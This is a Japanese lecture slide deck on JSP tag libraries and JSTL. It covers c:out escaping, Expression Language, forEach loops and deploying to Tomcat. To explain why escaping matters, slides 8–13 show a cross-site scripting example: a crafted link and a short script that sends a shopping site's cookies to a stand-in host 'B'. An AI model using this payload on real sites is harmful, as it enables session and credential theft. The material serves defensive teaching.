タグライブラリとJSP
Javaによる
Webアプリケーション入門
第5回
1
ここでの内容
タグライブラリの使い方、特にJSTLについ
て学ぶ。
2
タグライブラリ
JSPの中で定義できる独自のタグ。
スクリプトレットを減らすことができる。
タグライブラリの構成
タグの処理を記述する Java のプログラム
タグに関する情報を持つ Tag Library
Descriptor (TLD)
3
さまざまなタグライブラリ
既製のタグライブラリもいくつかある。
JavaServer Pages Standard Tag Library
(JSTL)
値の設定・制御構造
データベースへのアクセス、国際化、XMLの解
析など
Jakarta Taglibs
Struts のタグライブラリ
4
タグのエンコード (1)
フォームから入力した
文字列を出力するサ
ンプル
c:out を使うと、“<”
や “>” や “&” といっ
た文字をエンコードす
る。
<p>
c:out を使わない場合:
<%=
request.getParameter("title")
%>
</p>
<p>
c:out を使った場合:
<c:out value="${param.title}" />
</p>
5
タグのエンコード (2)
入力文字列
c:out を使った場合
<m>wakhok</m>
<m>wakhok</m>
c:out を使わない場合
wakhok
6
クロスサイトスクリプティング (1)
フォームから入力されたタグが
そのまま出力される
↓
入力された文字が JavaScript だった場合
↓
JavaScript が実行されてしまう!
7
クロスサイトスクリプティング (2)
実例
<script>alert(“アホですか?”);</script>
↓
警告画面が表示されてしまう
8
クロスサイトスクリプティング (3)
cookie が盗まれる例 (1)
ショッピングサイト “WAK” とその利用者が
狙われる例
“WAK” の商品検索システムは、クロスサ
イトスクリプティングを引き起こしてしまうよ
うになっている。
“WAK” では、商品を購入するときに使う
ユーザ名とパスワードを cookie に保存し
ている。
9
クロスサイトスクリプティング (4)
cookie が盗まれる例 (2)
ここで、怪しいサイト“A”が登場する。
“A” には、“WAK” へのリンクが貼られてい
る。
その内容は
WAK の Cookie を取得して、その Cookie を
別のサイト “B” の getCookie.jsp に渡す
JavaScript
10
クロスサイトスクリプティング (5)
cookie が盗まれる例 (3)
リンクの内容
<a href=
“http://wak/search.jsp?p=(JavaScriptのタグ)”>
Hなサイト
</a>
11
クロスサイトスクリプティング (6)
cookie が盗まれる例 (4)
JavaScript の内容
<script>
s = document.cookie;
location.href =
“http://B/getCookie.jsp?c=“+str;
</script>
12
クロスサイトスクリプティング (7)
cookie が盗まれる例 (5)
“WAK” の利用者が サイト “A” へのリンク
をうっかり押してしまった場合
リンク先の “WAK” のサイトが表示されると
き、同時に JavaScript を実行されて
Cookie を盗まれる
ユーザ名とパスワードを盗られたので、あ
とはやられ放題。
13
タグのエンコード (3)
タグの入力を許可してしまうと、クロスサイ
トスクリプティングを引き起こすことが考え
られる。
タグの入力を許可しない方がよい。
こうした処理をタグライブラリを使わずに書
くには、スクリプトレットを使う必要がある。
14
タグライブラリを使う
利用するタグライブラリと、その接頭辞を指定
<%@ taglib prefix="c"
uri="http://java.sun.com/jsp/jstl/core" %>
15
式言語 (Expression Language)
${var}
${param.title}
${book.author}
変数 var
フォームから入力され
たデータ "title" の値
book という Bean の
author プロパティ
16
制御構造の例
<ul>
<c:forEach var="book"
items="${bookList.iterator}" >
<li>
<c:out value="${book.title}" />
/
<c:out value="${book.author}" />
</li>
</c:forEach>
</ul>
17
Tomcat への配置
JSTL の配布パッケージの lib フォルダに
含まれている次の2つのjarファイルを
WEB-INF/lib フォルダにコピーする。
jstl.jar
standard.jar
18
© Copyright 2026 ExpyDoc